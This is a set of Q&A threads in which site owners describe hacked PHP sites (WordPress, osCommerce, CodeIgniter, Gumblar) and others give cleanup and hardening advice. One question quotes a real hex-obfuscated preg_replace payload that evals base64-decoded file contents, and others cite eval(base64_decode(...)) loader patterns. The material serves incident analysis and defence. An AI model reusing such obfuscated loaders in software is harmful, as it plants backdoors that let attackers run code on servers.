Injection of PHP code to perform a 301 - php

Some how I have managed to be attacked in a very specific manner on a site I help mantain and I am looking into whether or not the server was directly hacked or someone was able to inject the malicious script somehow.
First someone managed to get this:
#preg_replace("\x7c\50\x5b\136\x3c\135\x2b\51\x7c\151\x73\145","\x65\166\x61\154\x28\47\x24\142\x66\167\x3d\71\x30\65\x38\67\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x62\146\x77\75\x39\60\x35\70\x37\73","\x4c\62\x35\157\x59\156\x4d\166\x64\62\x56\151\x4c\62\x78\160\x64\155\x55\166\x61\110\x52\153\x62\62\x4e\172\x4c\63\x52\154\x63\63\x51\166\x62\107\x56\62\x5a\127\x77\171\x58\63\x52\154\x63\63\x51\166\x62\107\x39\156\x4c\171\x34\154\x4f\104\x49\64\x52\123\x55\167\x4d\104\x45\172\x4a\125\x49\64\x52\152\x4d\154\x51\153\x4d\170\x51\151\x56\103\x4d\152\x4a\103\x4a\124\x52\107\x4e\124\x63\75");
Into the very top of a PHP file right after the files comments. What this, and most likey other code did, was 301 redirect anyone not connecting to the site through a browser to a payday loan site. This ONLY effected my homepage, all other pages where fine.
There was probably more code to do it but this was the most confusing part since this code sits in a file called functions.php which is only ever included however IT IS the first file to be included within index.php (my homepage).
It is completely confusing me how some one could have got code there without directly hacking the server, there is no user input used there, it is literally sitting above the entire file. There is nothing there except this injected code and some comments above.
My envo is:
Gentoo
PHP 5.2.14-pl0-gentoo
Apache 2
I have checked server logs however, as usual, they deleted their trail.
This is also partly, as you have noticed, a server question but atm it is 90% programming question so I thought I would ask it here first.
Is there any vulnerability within PHP that could cause this?
If you need clarification let me know.
Edit
I have a staging system which has a
Work
Preview
Live
I know this is nothing to do with SQL injection since if I switch live and preview folder around I get no problems. I also do not store the gentoo password within the DB or the App and you can only connect to the server in a small range of IP addresses except for Apache which accept 80 and 443 connections from any host. Plus I use SQL escaping classes and methods within the site (PDO, MySQLi etc).
So this problem (which is even more confusing) is only located within one copy of my site and not the DB or anything.

Pinpointing this kind of things is more on the server admin side I guess. Check the attacker-modified file date, and look for for suspicious activity in that date and time in the server's log (apache logs, FTP logs, ssh logs maybe). This also may depend on your traffic, log size, and level of access to your server, as it may be prohibitive. If you have any html form that upload files, verify the directory in wich the files are stored for php shells . Also check the permissions on that directory. If you are on a shared hosting, this also can be the result of the attacker injecting a shell on another site, and then attacking yours by that mean. In that case contact your hosting company.

It's 99% chance the webserver fault, SQL injection is one thing, but I don't know, maybe they managed to somehow get your password with SQL injection and then log in to a control panel or ftp, but, I'd say it's the webserver.

Ok so I understand how and why now. It was the one thing I thought it would never be: Wordpress.
I was basically a victim of: http://muninn.net/blog/2012/06/a-tale-of-east-asian-history-british-loan-sharks-and-a-russian-hacker.html
Using a tool like: http://www.youtube.com/watch?v=y-Z5-uHvONc
You see even though my main site is not made from wordpress and it has got a wordpress blog located at: /blog/ the hacker was able to use various Wordpress vulnerabilities to get around the location problem and plant scripts on any part of the server.
By the way, this actually happened on the latest install of Wordpress. Double checked the version. We are not totally sure exactly when he placed the script (there are multiple instances of the foreign script being placed throughout the years!) but we do know this recent attack must have been sited also quite recently which puts the latest version (or the version before) under a huge amount of scrutiny.
So a nice note of caution about Wordpress there...

Related

php script containing devil hack

Sadly I have run into a very big problem. I noticed that on a website (not mine anyway) there was a file with avery long obfuscated string (over 70.000 chars) with this:
eval(gzuncompress(base64_decode("CODE")));
I wanted to deobfuscate it locally on my PC but finally i decided to use the lazy way using one of the many online deobfuscator tools. As soon as i clicked on "Deobfuscate" i was able to see the output just for a few seconds. From that moment it seems that i can no longer access to pages where online deobfuscators are hosted. For example i can't open this page (Connection Aborted) even if i can properly browse all other pages:
http://www.whitefirdesign.com/tools/deobfuscate-php-hack-code.html
It's like if all these tools get banned from my PC on every browser and user account. Only few of them are still accessible like MobileFish:
http://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php
But no one of them is able to process my requests. It's like if this php script is a pure devil. I suppose that my PC has been compromised in some way since i can't open some particular websites even if both MalwareBytes and Avast can't find anything wormy. Any ideas? What this script does?
http://pastebin.com/yf6R1rVK
The code has been put there through some sort of other vulnerability on the site. Here's the deobfuscated PHP, run at your own peril. It looks like some sort of shell which would allow attackers to run certain commands/farm information on the server it's hosted on
https://gist.github.com/jtylr/4fd6240ddcd046e62535
The code has been encoded and compressed, base64_decode() decodes the string, gzuncompress() decompresses it and eval() (see: evil) will then run the string.
I've run into some malicious code before that was injected into some vBulletin forums I was responsible for. Generally this malicious code is executed on the remote machine by being dumped onto the box as a bunch of bites, and then set up to be decoded, decompressed, and evaluated as suggested by that line you have.
It could have done anything.
Perhaps check your machines' host file and see if there are any strange entries that may prevent you from visiting those web pages.
C:\Windows\System32\drivers\etc\hosts
(Assuming you are on Windows. Look for anything suspicious in there and remove it.)
Could also be something in there preventing your anti-virus software from running, or it may be that no actual viral loads were delivered and that you've simply had your host file rewritten.
I doubt you are infected. The code is some kind of shell, that is certainly bad news for the site you found it on, but the simple act of viewing the code string wont effect you.
You can see the deobed code here: http://pastebin.com/QDvnAzZw
What i expect has happened is that your antivirus software scans webpages as you visit them, and recognized the deobed code as malicious, thus cutting the connection to the site.
I imagine the site is then flagged as malicious by your antivirus, thus blocking later attempts to visit it.
If i am correct, you probably wont be able to see the pastebin page linked above.
The solution is specific to your AV program.
here is the decoded malicious code (this link is a tiny paste , don't worry)
First rapid investigation (i didn't decode the python part) seem to try open backdoors in wordpress & joomla admins.

Codeigniter 2.1.4 application got hacked?

A strange thing occurred today. I have made a CI based site, and a hacker managed to:
Overwrite my index.php file by making a file upload to root;
Inject code direct into my index.php replacing everything with a dummy html formatted page;
I don't know which of the above actual occurred.
The site is quite simple (no input forms, no db ecc.), I started developing it with CodeIgniter since client didn't know what he wanted, so I ended up using the framework just for templating and compressing.
I have strong doubts whether a security hole was offered to the hacker on the PHP side. I am incline to believe the issue is from my hosting service bad server configuration (I had a bad chat with them, they say they will look into it)
I find it very curious that only the index.php was (apparently) modified (application and system are also in the root since I do not have FTP access above, maybe if I were an hacker I would have deleted any file in root before allowing my fancy index to showy perform)
How did this happen? What do you think is most likely possible?
Unfortunately no one will give you a straight answer without full access to the server, the server and system logs etc. It could be one of many things, if you are on a shared hosting, simply bad configuration of the server will often mean enough (meaning if a person compromises one site, he compromised them all). It could be outdated services on the server, where the attacker used a publicly available exploit. It also might be CI based exploit, private or public...
Chances are, if you are confident that your website couldn't have been hacked, it will most likely be a badly configured shared hosting environment and permissions, allowing the attacker to access system commands and folders that don't belong to the user, which often would've been followed by uploading a php shell via a vulnerable site and from there it would be as simple as browsing folders of a web server.
Second likely I would say is that it could have been outdated exploitable service running on the shared host.
If there is any "signature" in the html you were talking about, you might want to try to google it and see what returns. Also you might want to try to execute some system commands via PHP (something you shouldn't be able to access like ls level below your web root; if you are able, it is likely the attacker access your files that way.

Best methods to clean up a hacked site with no clean version available?

I have been asked to fix a hacked site that was built using osCommerce on a production server.
The site has always existed on the remote host. There is no offline clean version. Let's forget how stupid this is for a moment and deal with what it is.
It has been hacked multiple times and another person fixed it by removing the web shell files/upload scripts.
It is continually hacked often.
What can I do?
Because you cannot trust anything on the web host (it might have had a rootkit installed), the safest approach is to rebuild a new web server from scratch; don't forget to update all the external-facing software before bringing it online. Do all the updating on the happy side of a draconian firewall.
When you rebuild the system, be sure to pay special attention to proper configuration. If the web content is owned by a different Unix user than the web server's userid and the permissions on the files are set to forbid writing, then the web server cannot modify the program files.
Configure your web server's Unix user account so it has write access to only its log files and database sockets, if they are in the filesystem. A hacked web server could still serve hacked pages to clients, but a restart would 'undo' the 'live hack'. Of course, your database contents could be sent to the Yakuza or corrupted by people who think your data should include pictures of unicorns. The Principle of Least Privilege will be a good guideline -- what, exactly, does your web server need to access in order to do its job? Grant only that.
Also consider deploying a mandatory access control system such as AppArmor, SELinux, TOMOYO, or SMACK. Any of these systems, properly configured, can control the scope of what can be damaged or leaked when a system is hacked. (I've worked on AppArmor for ten years, and I'm confident most system administrators can learn how to deploy a workable security policy on their systems in a day or two of study. No tool is applicable to all situations, so be sure to read about all of your choices.)
The second time around, be sure to keep your configuration managed through tools such as as puppet, chef, or at the very least in a revision control system.
Update
Something else, a little unrelated to coming back online, but potentially educational all the same: save the hard drive from the compromised system, so you can mount it and inspect its contents from another system. Maybe there's something that can be learned by doing forensics on the compromised data: you might find that the compromise happened months earlier and had been stealing passwords or ssh keys. You might find a rootkit or further exploit tools. You might find information to show the source of the attack -- perhaps the admin of that site doesn't yet realize they've been hacked.
Be careful when inspecting hacked data -- that .jpg you don't recognize might very well be the exploit that cracked the system in the first place, and viewing it on a 'known good' system might crack it, too. Do the work with a hard drive you can format when you're done. (Virtualized or with a mandatory access control system might be sufficient to confine "passive" data-based hacks, but there's nothing quite like throwaway systems for peace of mind.)
Obtain a fresh copy of the osCommerce version the site was built with, and do a diff between the new fresh osCommerce and the hacked site. Also check for files which exist on the server but not in the osCommerce package.
By manually comparing the differences, you can track down all possible places the hack may have created or modified scripts.
I know this is a little late in the day to be offering this solution but the official fix from osCommerce developement is here:
http://library.oscommerce.com/confluence/display/OSCOM23/(A)+(SEC)+Administration+Tool+Log-In+Update
Once those code changes are applied then most of the actual work is in cleaning up the website. The admin login bypass exploit will be the cause that has allowed attackers to upload files via the file manager (usually) into directories that are writable, often the images directory.
There are other files that are often writable too which can have malicious code appended in them. cookie_usage.php and includes/languages/english/cookie_usage.php are the usual files that are affected, however on some server configurations, all site files can be susceptible.
Even though the official osCommerce fix is linked to above, I would also suggest to make this change as well: In the page above, scroll down till you see the link that says "Update PHP_SELF Value". Make those changes as well.
This will correct the way $PHP_SELF reports and prevent attackers from using malformed URLs in attempts to bypass the admin login.
I also suggest that you add htaccess basic authentication login to the admin directory.
Also check out an addon I authored called osC_Sec which is an all in one security fix, which while works on most php backed websystems, it is specifically designed to deal to the issues that exist in the older versions of osCommerce.
http://addons.oscommerce.com/info/8283

All PHP files getting hacked

Like always, just want to say thank you for all of the help and input in advance.
I have a particular site that I am the web developer for and am running into a unique problem. It seems that somehow something is getting into every single PHP file on my site and adding some malware code. I have deleted the code from every page multiple times and changed FTP and DB passwords, but to no avail.
The code that is added looks like this - eval(base64_decode(string)) - which the string is 3024 characters.
Not sure if anyone else has ran into this problem or if any one has ideas on how I can secure my php code up.
Thanks again.
The server itself could be compromised. Report the problem to your web host. What is their response?
An insecure PHP script coupled with incorrect file permissions could give the attacker the ability to modify your PHP files. To eliminate this possibility I would take the site down, delete all the files, re-upload, then switch permissions on the entire site to deny any writes to the file system.
Edit:
As a short-term fix try asking your web host to disable eval() for your account. If they're worth their salt they should be running Suhosin which has an option to disable eval.
You should use "disable_functions=eval,exec" in your php.ini or .htaccess as first measure.
yes i have ran into this problem myself, i take it you are on a shared host? are you perchance on rackspacecloud?
this is where i had that problem, the first thing you need to do right away is notify your host, this is a hosting issue, and i suspect the malware has gained access to your server on an ftp level.
make sure you have nothing chmod 777 world writable, if it needs to be writable by your app make it 775
hope this helps, good luck
You should change the file permissions so that only you can write to those files. 0777 (the default on some hosts, I believe) is just asking for trouble. See File Permissions.
Also, it's advisable to not put any files that aren't supposed to be accessible by URL outside of the public_html folder, for example, config files.
I had a similar problem. However, my problem was that I was running a python code evaluator on my site. As far as I remember you need to use eval() function to execute the python code. In one of my php files I had a weird eval statement. What kind of script are you developing? I mean does it involve evaluation of some other code?
You should also note that (assuming you are using a hosting solution to host your site) that it's almost never your fault. An example being that networksolutions hosting company recently had a server hacked and over 1K webpages were affected, not due to security holes on each particular site, but due to some bad configuration/monitering of what was put on that particular server that hosts those sites. If you can't see any thing security wise wrong with your code, aka you sanitize everything properly and or you are running a non vulnerable version of whatever CMS you are using (if your using a CMS) then it's probably not an issue with your site, just the server in general.
You should move to another server. It would appear that the attacker has access to the server or is running some code as a background process which is overwriting the files. It may be possible to identify and remove the problem, but smart attackers will hide additional scripts etc to trip you up later.
I've come across viruses that read filezilla conf files.
I SWEAR TO GOD. at first i was: WOW, then i was: mother f*** sneaky b*stards.
Check your pc for viruses.
One of the possible scenarios is that somebody managed to get write access somehow and changing passwords etc. helped, but he left a php file that can still run.
See if there are any unknown files there. Or delete every damn thing and restore some backups.
Get the last modified time of your files, then go over to your access logs (FTP, HTTP whatever's open, if you don't know where they are ask your host) and find out who was mucking around on your system at that time.
Likely the attacker has installed a script that they can call periodically to re-infect any files you fix.

Virus code injected in PHP Files

I own a website running on LAMP - Linux, Apache, mySQL and PHP. In the past 2-3 weeks the PHP and jQuery files on my website have become infected from malware from a site called gumblar.cn
I can't understand how does this malware get into my PHP files and how do I prevent it from happening again and again.
Any ideas?
UPDATE:
Looks like it is a cpanel exploit
Your site is cracked, so the crackers simply replace your files.
You should always upgrade your Linux OS, Apache, MySQL, PHP, and the web PHP programs whenever a security alert is announced.
Linux servers running open services without upgrading them regularly are the most vulnerable boxes on internet.
No one here can provide a conclusive solution based on the information you provided, so all we can suggest is that you follow good security practices and standards and correct any weak points immediately.
Make sure your software is up-to-date. It's very possible to gain access to local files through exploits in PHP programs, so keep any third-party applications you're running on their latest versions (especially very widespread programs like Wordpress and phpBB), and do whatever you can to ensure that your server is running the correct versions of its services (PHP, Apache, etc.).
Use strong passwords. A strong password is a long, random list of characters. It should have nothing to do with your life, it should have no readily available acronyms or mnemonics, it should not resemble a dictionary word, and it should contain a healthy interspersing of different characters; numbers, letters of different cases, and symbols. It should also be reasonably long, ideally more than 26 characters. This should help keep people from bruteforcing your credentials for enough time for competent sysadmins to take action against the attackers.
Work with the administrators at your hosting provider to understand what happened in this particular case and do things to correct it. They may not have noticed anything unusual; for instance, if you have an easy password, or if this attack was perpetrated by a trusted individual, or if you have an unpatched exploit in a custom PHP application, there would be nothing to indicate an improper use.
Shared hosts also have many people with access to the same local machine, so things like file permissions and patching of locally-accessible exploits both within your application and generally is very important. Make sure your host has good policies on this and make sure that none of your software unequivocally trusts local connections or users.
The nature of the attack (an import of malware from a site that appears to do this kind of thing en masse) suggests that you were running an exploitable application or that your username/password combination was not sufficiently strong, but the administrators at your provider are really the only ones able to supply accurate details on how this happened. Good luck. :)
Chances are, there is an application on your server with a known vulnerability that has been attacked, and something has modified files on your web site or installed a new file.
When searching for information on gumblar.cn, it looks like they use a trojan called JS-Redirector-H. Not sure if this is what is involved here.
Fixing this may involve restoring your web site from backup, if you have no way of knowing what has been modified. If you have source control or a recent version, you may be able to do a whole-site diff. But you will also need to fix the security vulnerability that allowed this to happen in the first place.
Chances are it's some insecure app, or an app you installed some time ago but have not updated recently. A few people who have complained about this mentioned that they use Gallery (ie PHP Gallery). Though I'm not sure if that's connected.
If you are not the server administrator, talk to the server admin. They may be able to help, and it would be wise to let them know about this.
Google Advisory:
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=en-US&site=http://gumblar.cn (linking doesn't work)
First, contact your hosting company and report this. If this is server-wide, they need to know about it.
The most common cause of infections like this is vulnerable popular PHP software (such as PHPBB, Mamboserver and other popular systems). If you're running any 3rd party PHP code, make sure you have the latest version.
If you've determined that this only affects your site, restore from a backup. If you don't have any backups, try re-installing everything (you can probably migrate the database) you have (to the latest version) and go through your own PHP code (if any).
PHP Programs are actually simple text files that run on the server by the PHP interpreter. if your application is infected, then I think there are tow posiibilities:
1.they have used some security hole in YOUR application to inject some code into your server, so now they have changed some of your PHP files, or some of your database information.
if this is the case, you better double check every single place where you are fetching information from the user (text inputs, file uploads, cookie values, ...), make sure everything is well filtered. this is very common security practice to filter anything that comes from the user. you also better make sure that the data that is currently saved in your database (or file system) is clean. I suggest using Zend_Filter component of the Zend Framework to filter user input. there are many full featured filter libraries out there.
2.they could have run some program on your server, that is affecting your PHP source files. so somehow they have accomplished running some program/script your server, that is changing your application.
if this is the case, I suggest your check all your server processes and make sure you know every process that is running. although I think this is less possible.
Ok, this is NOT a programming question and SO is not the place for this because if we would tolerate such questions here we would soon be a first aid / support site for ppl with bad shared hosting accounts.
I only didn't vote for closing because I feel bad turning a few ppl down who are probably feeling really bad about a problem they don't have the knowledge to fix.
First of all: google for gumblar.cn, there is a growing number of potentialy helpful posts accumulating as we speak.
If you're a real beginner and you feel you don't get any of the things in the answers here then just do the following:
Get a new host
Google for information about all your software until you know, if the software is safe. If it's not, don't use it, until the developers have fixed the problem. An example of a not secure software is 'Galery'.
Install all your software (the secure ones only) FRESH INSTALL!!
Copy over static files (like images) to the new server. Do NOT copy over any dynamic files, like php scripts, as they could be infected.
Don't upload any of your own PHP scripts until you've checked them for security vulnerabilities. If you don't know how to do this, don't upload anything before you've learned about these things.
I have been affected by this virus/malware and currently cleaning up. I hope this will be helpful:
1) You most likely have a TROJAN on your PC. To verify this simply run (Start > Run... or Windows key + R) and type "cmd" or "regedit". If either of those doesnt open its window as expected, you have the Js:Redirector trojan. You can also verify that the anti virus programs aVast and Malware Bytes can not connect to updates for some reason (sneaky trojan that is). Plus, you'll notice that the Security program of the Control Panel was disabled, you wouldn't have seen a notification in the tray icons to tell you that the virus protection was disabled.
2) This is a very recent exploit, apparently of vulnerabilities inflash or pdf plugins, thus you are not safe even if you didn't use Internet Explorer!
As for me, I believe because I hate programs slowing down my PC, I have my Windows Updates on "manual", and I didn't have resident protection (scanning of all web connections, etc), and I was probably infected by visiting another hacked site which was not blacklisted yet. Also I was over confident in non-IE browsers! I sometimes ignore the blacklist warning as I am curious about what the scripts do etc, and forgot once again just how BAD Windows really is. Conclusion: leave Windows Updates on automatic, have minimal resident protection (aVast Web Shield + Network Shield).
3) Because this is a trojan that sends back your FTP password, it doesn't matter how good your password was!
4) Try to lceanup your PC with Malware or aVast, it will find a file ending with ".ctv"
You MUST have a virus database dated 14 May or more recent. If you can't update (as explained above), then follow these instructions (you'll need to extrapolate but basically you have a file, the name may vary, which is pointed in the registry, and use HiJackThis to remove it, once you rebout without this file excuted, all is fine)
5) Of course update your passwords, BUT make sure the trojan is removed first!
6) For an exact list of all pages modified try to get a FTP log and you'll find the IP of the script/hacker and all touched files.
7) If you have a complete local copy of the "production" environment, then the safest is to delete ALL the site on the server, and re-upload all files.
8) During the clean up process DONT visit your infected site, or you will re-install the trojan! If you have the latest aVast Home Edition and the "Web Shield" protection it will give you a warning and block the page from being executed by your browser.
like Francis mentioned, try to get your hosting company to make sure their software is up to date.
On your side, change your ftp password to something completely obscure as soon as possible. I've seen this happen to people before. What these 'hackers' do is a brute force on your ftp account, download a couple of files, modify them slightly, and then re-upload the infected copies. If you have access to the ftp log files you'll probably see a connection to your account from an IP other than yours. You may be able to submit this to your hosting company and ask them to black-list that IP from accessing their servers.
That website (gumblar.cn that you mentioned) is being tested for malware. You can monitor results here: http://www.siteadvisor.com/sites/gumblar.cn/postid?p=1659540
I had something like this happen to me at an old hosting provider. Somehow, someone, was able to infect Apache in some way so that a special header was injected into all my PHP files which caused the browser to try to download and run in the browser. While they got it fixed, the quick solution was to take down all my PHP files, and change my index file a plain HTML file. Whether or not this stops the problem for you depends on how the server is infected. The best thing and probably most responsible thing you can do is to protect your visitors by taking down site, and if possible (if text files aren't infected), display a message stating that if they visited recently they may have been infected.
Needless to say, I switched hosting providers quick soon after my site was infected. My hosting provider was pretty bad in a lot of other ways, but this was pretty much the final straw.

Categories